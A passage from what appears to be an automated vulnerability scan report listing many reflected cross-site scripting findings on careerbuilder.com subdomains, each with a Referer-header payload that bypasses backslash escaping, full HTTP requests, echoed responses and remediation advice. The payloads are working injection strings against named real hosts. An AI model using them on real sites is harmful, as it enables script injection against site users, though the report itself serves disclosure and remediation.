Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /hc.ic/Florida_Miami/?lr=cbcb_mh&SiteID=cbcb_mh039 HTTP/1.1 Host: healthcare.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=68272\'%3balert(1)//5817376056d
Response (redirected)
HTTP/1.1 404 Not Found Cache-Control: private Content-Length: 42283 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: CB%5FSID=515ec8f819df4c2a8d429d934b081d1c-343070843-RH-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC65040AEAF52570DA9D5DB4A733819D02ACFD71E6DE065AEB3F4864BA0F1958561723907E15094A14338; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:27:22 GMT; path=/; HttpOnly X-Powered-By: ASP.NET X-PBY: REBEL17 Date: Sun, 14 Nov 2010 22:27:22 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> 404 Fi ...[SNIP]... erver='healthcare'; s_cb.eVar8='healthcare.careerbuilder.com/404.aspx'; s_cb.eVar11='NotRegistered'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 68272\\';alert(1)//5817376056d'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 7befc\'%3balert(1)//e0acdb9b82a was submitted in the Referer HTTP header. This input was echoed as 7befc\\';alert(1)//e0acdb9b82a in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /hr.ic/Florida_Miami/ HTTP/1.1 Host: human-resources.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=7befc\'%3balert(1)//e0acdb9b82a
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 179875 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=5606b43b8dd342f69498a5b6c0de95cc-343070910-R6-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650C37CB332FDAB9F2B708ED2F7402BA7121C3D3EF92C974470509A0268744A68B47BF198A2C7D24463; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:28:30 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:43:30 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL6 Date: Sun, 14 Nov 2010 22:28:30 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 7befc\\';alert(1)//e0acdb9b82a'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 83819\'%3balert(1)//8746cb8e2b7 was submitted in the Referer HTTP header. This input was echoed as 83819\\';alert(1)//8746cb8e2b7 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /hr.ic/Florida_Miami/?lr=cbcb_mh&SiteID=cbcb_mh041 HTTP/1.1 Host: human-resources.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=83819\'%3balert(1)//8746cb8e2b7
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 179814 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=dc54ef0b04d74eb1976108f9e4a21640-343071061-R4-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650BAC105645DC706337E5456437048FD993624CEB11E89408756A5E6B325D6E83890A2FCEBB4CC76B2; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:31:00 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:46:01 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL4 Date: Sun, 14 Nov 2010 22:31:01 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 83819\\';alert(1)//8746cb8e2b7'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload ead14\'%3balert(1)//d413ee6966c was submitted in the Referer HTTP header. This input was echoed as ead14\\';alert(1)//d413ee6966c in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /it.ic/Florida_Miami/?lr=cbcb_mh&SiteID=cbcb_mh042 HTTP/1.1 Host: information-technology.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=ead14\'%3balert(1)//d413ee6966c
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 176971 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=16c9edd4c01546239483fde8e118e676-343071061-RK-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC6502AE2EC89049FE61B8D06E0BA241D3A6963116C55DAC1DC814B322D4EF5C7361F316551F65B2FC7DF; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:31:00 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:46:00 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL20 Date: Sun, 14 Nov 2010 22:31:00 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - ead14\\';alert(1)//d413ee6966c'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload cb97d\'%3balert(1)//f3a52270f98 was submitted in the Referer HTTP header. This input was echoed as cb97d\\';alert(1)//f3a52270f98 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /it.ic/Florida_Miami/ HTTP/1.1 Host: information-technology.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=cb97d\'%3balert(1)//f3a52270f98
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 176751 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=902c2859023d4db993b8e5e2a6697115-343070917-R3-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC6508F9889AF47863D42AC9369BF24936EF407DF4271B01B26D33803D513D96BBE0478F239CD3F405291; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:28:37 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:43:37 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL3 Date: Sun, 14 Nov 2010 22:28:37 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - cb97d\\';alert(1)//f3a52270f98'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 60f15\'%3balert(1)//c9c3d8aec71 was submitted in the Referer HTTP header. This input was echoed as 60f15\\';alert(1)//c9c3d8aec71 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /mf.ic/Florida_Miami/ HTTP/1.1 Host: manufacturing.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=60f15\'%3balert(1)//c9c3d8aec71
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 186571 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=588ed3a3eebd48419950da291a0383c2-343070951-R9-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650D324AD14344277ED63E6781CC905D350A303A6132AE0CBF923142E49567A6DB226732C2A4EF40C28; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:29:11 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:44:11 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL9 Date: Sun, 14 Nov 2010 22:29:11 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 60f15\\';alert(1)//c9c3d8aec71'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload dfccf\'%3balert(1)//9972b559a7f was submitted in the Referer HTTP header. This input was echoed as dfccf\\';alert(1)//9972b559a7f in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /mf.ic/Florida_Miami/?lr=cbcb_mh&SiteID=cbcb_mh043 HTTP/1.1 Host: manufacturing.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=dfccf\'%3balert(1)//9972b559a7f
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 186474 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: :mxdl41=pg=1&sc=-1&sd=0; path=/ Set-Cookie: CB%5FSID=21df41c5afa04de9ac04dff709cb2d3e-343071075-R4-4; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC650301ED01A93EF6559ED7ACAFEC8518CD1A9AB47289EC5881D3AA44E4265EED81F9B3327CC9B792055; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 22:31:15 GMT; path=/; HttpOnly Set-Cookie: PU=0; domain=.careerbuilder.com; expires=Sun, 14-Nov-2010 22:46:15 GMT; path=/ X-Powered-By: ASP.NET X-PBY: REBEL4 Date: Sun, 14 Nov 2010 22:31:14 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> Miami ...[SNIP]... s_cb.eVar8='JS_FindJobs - Job Results'; s_cb.eVar11='NotRegistered'; s_cb.eVar14='Miami, FL'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - dfccf\\';alert(1)//9972b559a7f'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload b672d\'%3balert(1)//d2889a1bdcb was submitted in the Referer HTTP header. This input was echoed as b672d\\';alert(1)//d2889a1bdcb in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET / HTTP/1.1 Host: mobile.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=b672d\'%3balert(1)//d2889a1bdcb
Response
HTTP/1.1 200 OK Cache-Control: private Content-Length: 10195 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: CB%5FSID=ad0e098b90d04d38bdc5cbc3f02c23ca-343074478-wr-6; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC6500A0F5D4F325594E4B7B56963AD6EE6F549E5CC1E6AB077ADEA07FC19A20D2AF73C46F21CFED20949; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 23:27:57 GMT; path=/; HttpOnly X-Powered-By: ASP.NET X-PBY: BEAR28 Date: Sun, 14 Nov 2010 23:27:57 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> CB Mob ...[SNIP]... er='mobile'; s_cb.eVar8='mobile.careerbuilder.com/mobile/default.aspx'; s_cb.eVar11='NotRegistered'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - b672d\\';alert(1)//d2889a1bdcb'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 1a713\'%3balert(1)//b6db130f670 was submitted in the Referer HTTP header. This input was echoed as 1a713\\';alert(1)//b6db130f670 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Note that a redirection occurred between the attack request and the response containing the echoed input. It is necessary to follow this redirection for the attack to succeed. When the attack is carried out via a browser, the redirection will be followed automatically.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /?lr=cbcb_mhf48aa HTTP/1.1 Host: mobile.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=1a713\'%3balert(1)//b6db130f670
Response (redirected)
HTTP/1.1 200 OK Cache-Control: private Content-Length: 10195 Content-Type: text/html; charset=UTF-8 Content-Language: en-US Server: Microsoft-IIS/7.0 X-AspNet-Version: 2.0.50727 P3P: CP="CAO CURa IVAa HISa OUR IND UNI COM NAV INT STA",policyref="http://img.icbdr.com/images/CBP3P.xml" Set-Cookie: CB%5FSID=44ffd6fd30b5426294f50f347da3ea77-343074508-wv-6; domain=.careerbuilder.com; path=/; HttpOnly Set-Cookie: BID=X13ACF19327AEAC6501E74DD28BB2FDB86C7DE8DDCD088A38DE5495471E11E6080678C00B6CD9DA9D7691FE84FF856E38E; domain=.careerbuilder.com; expires=Mon, 14-Nov-2011 23:28:28 GMT; path=/; HttpOnly X-Powered-By: ASP.NET X-PBY: BEAR32 Date: Sun, 14 Nov 2010 23:28:27 GMT Connection: close
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<html id="HTMLTag" xml:lang="en-US" lang="en-US"> <head><title> CB Mob ...[SNIP]... er='mobile'; s_cb.eVar8='mobile.careerbuilder.com/mobile/default.aspx'; s_cb.eVar11='NotRegistered'; s_cb.eVar15='NO_NotRegistered'; s_cb.eVar16='natural (google) - 1a713\\';alert(1)//b6db130f670'; /************* DO NOT ALTER ANYTHING BELOW THIS LINE ! **************/ var s_code=s_cb.t();if(s_code)document.write(s_code)//--> ...[SNIP]...
The value of the Referer HTTP header is copied into a JavaScript string which is encapsulated in single quotation marks. The payload 39b7f\'%3balert(1)//fd1e68bc403 was submitted in the Referer HTTP header. This input was echoed as 39b7f\\';alert(1)//fd1e68bc403 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
The application attempts to prevent termination of the quoted JavaScript string by placing a backslash character (\) before any quotation mark characters contained within the input. The purpose of this defense is to escape the quotation mark and prevent it from terminating the string. However, the application fails to escape any backslash characters that already appear within the input itself. This enables an attacker to supply their own backslash character before the quotation mark, which has the effect of escaping the backslash character added by the application, and so the quotation mark remains unescaped and succeeds in terminating the string. This technique is used in the attack demonstrated.
Because the user data that is copied into the response is submitted within a request header, the application's behaviour is not trivial to exploit in an attack against another user. In the past, methods have existed of using client-side technologies such as Flash to cause another user to make a request containing an arbitrary HTTP header. If you can use such a technique, you can probably leverage it to exploit the XSS flaw. This limitation partially mitigates the impact of the vulnerability.
Remediation detail
Echoing user-controllable data within a script context is inherently dangerous and can make XSS attacks difficult to prevent. If at all possible, the application should avoid echoing user data within this context. If it is unavoidable to echo user input into a quoted JavaScript string the the backslash character should be blocked, or escaped by replacing it with two backslashes.
Request
GET /np.ic/Florida_Miami/ HTTP/1.1 Host: nonprofit.careerbuilder.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close Referer: http://www.google.com/search?hl=en&q=39b7f\'%3balert(1)//fd1e68bc403
Response
